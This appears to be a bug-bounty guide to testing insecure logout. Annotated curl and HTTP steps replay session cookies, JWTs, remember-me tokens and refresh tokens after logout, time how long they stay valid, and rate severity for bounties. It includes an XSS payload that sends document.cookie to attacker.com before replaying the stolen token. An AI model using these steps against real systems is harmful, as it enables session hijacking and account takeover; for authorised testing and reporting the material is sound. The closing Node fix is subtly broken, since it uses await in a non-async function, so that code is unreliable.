# Step 1: Login and save session
curl -c cookies.txt -X POST https://target.com/api/login \
     -H 'Content-Type: application/json' \
     -d '{"email":"test@test.com","password":"test"}'

# Step 2: Confirm token works (baseline)
curl -b cookies.txt https://target.com/api/me
# Should return: {"user_id":1001,"email":"test@test.com"}

# Step 3: Logout
curl -b cookies.txt -X POST https://target.com/api/logout

# Step 4: Replay old token immediately after logout
curl -b cookies.txt https://target.com/api/me

# SECURE:   HTTP/1.1 401 Unauthorized
# VULNERABLE: HTTP/1.1 200 OK + user data returned

# Step 1: Login — capture JWT
POST /api/login  →  Response: {
  "access_token":  "eyJhbGciOiJIUzI1NiJ9.eyJ...",
  "refresh_token": "eyJhbGciOiJIUzI1NiJ9.eyJ..."
}

# Step 2: Decode to check expiry
python3 jwt_tool.py ACCESS_TOKEN
# {"user_id":1001, "role":"user", "exp":9999999999}

# Step 3: Logout
POST /api/auth/logout
Authorization: Bearer ACCESS_TOKEN

# Step 4: Replay access token after logout
GET /api/me
Authorization: Bearer ACCESS_TOKEN
# 200 OK → JWT not blacklisted → VULNERABLE

# Step 5: Test refresh token after logout
POST /api/auth/refresh
{"refresh_token": "REFRESH_TOKEN"}
# New access token returned → refresh not revoked → VULNERABLE

# Login with remember_me enabled
POST /api/login
{"email":"test@test.com", "password":"test", "remember_me":true}

# Response sets long-lived cookie:
Set-Cookie: remember_me=LONG_TOKEN; Max-Age=2592000

# Logout (standard session ends)
POST /api/logout

# Replay remember_me token
curl -H "Cookie: remember_me=LONG_TOKEN" https://target.com/api/me
# 200 OK → remember_me not revoked → can auto-login as victim

# Step 1: Capture token on Device A
# Step 2: Logout on Device A

# Step 3: Replay token from Device B (different IP)
curl -H "Cookie: session=CAPTURED_TOKEN" \
     -H "X-Forwarded-For: 203.0.113.1" \
     https://target.com/api/me
# 200 OK from different IP = proven server-side flaw
# This is your highest-impact proof for the bug report

# After confirming insecure logout — measure how long token stays valid
# This directly determines severity and bounty amount

t=0min  → 200 OK  (token valid immediately after logout)
t=30min → 200 OK  (still valid 30 minutes later)
t=2hrs  → 200 OK  (still valid 2 hours later!)
t=8hrs  → 200 OK  (valid entire workday!)
t=24hrs → 401     (finally expired)

# 24-hour window = HIGH severity
# 30-day window  = CRITICAL severity
# No expiry      = CRITICAL severity

# Step 1: Inject XSS payload to steal session
<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>

# Step 2: Victim visits page → token sent to attacker.com

# Step 3: Victim believes they are safe → clicks Logout

# Step 4: Attacker replays captured token (server never invalidated it)
curl -H "Cookie: session=STOLEN_TOKEN" https://target.com/api/me
# 200 OK — attacker still has full access

# Why this is Critical:
# Victim took the correct security action (logout)
# Logout gave false sense of security
# Attacker maintains permanent access indefinitely

# Many apps blacklist access tokens but forget refresh tokens

# Step 1: Login → capture both tokens
access_token  = "eyJ... (short-lived, 15 min)"
refresh_token = "eyJ... (long-lived, 30 days)"

# Step 2: Logout → access_token blacklisted
POST /api/auth/logout  →  access_token invalidated

# Step 3: Use refresh token to get new access token
POST /api/auth/refresh
{"refresh_token": "CAPTURED_REFRESH_TOKEN"}
# Response: {"access_token": "new_valid_token"}
# Infinite new tokens despite logout — full access maintained

# Test without logging out — just close browser and wait
# Shows missing idle timeout (separate but related finding)

t=0    → login, capture token
t=1hr  → curl -b cookies.txt /api/me → 200 (active!)
t=4hrs → curl -b cookies.txt /api/me → 200 (still active!)
t=8hrs → curl -b cookies.txt /api/me → 200 (entire workday!)
t=24hr → curl -b cookies.txt /api/me → 401 (finally expired)

# Report both: Insecure Logout + Missing Idle Timeout
# Two findings, doubled bounty

const redis = require('redis');
const client = redis.createClient();

// On logout — blacklist the token until it expires
app.post('/api/logout', authenticate, async (req, res) => {
    const token = req.headers.authorization.split(' ')[1];
    const decoded = jwt.decode(token);
    const ttl = decoded.exp - Math.floor(Date.now() / 1000);

    // Add token ID to blacklist with TTL matching token expiry
    await client.setEx(`blacklist:${decoded.jti}`, ttl, 'true');

    // Also delete refresh token from database
    await db.query('DELETE FROM refresh_tokens WHERE user_id = ?', [decoded.user_id]);

    res.json({ message: 'Logged out successfully' });
});

// On every request — check blacklist
function authenticate(req, res, next) {
    const token = req.headers.authorization?.split(' ')[1];
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    const isBlacklisted = await client.get(`blacklist:${decoded.jti}`);
    if (isBlacklisted) return res.status(401).json({error: 'Token revoked'});
    next();
}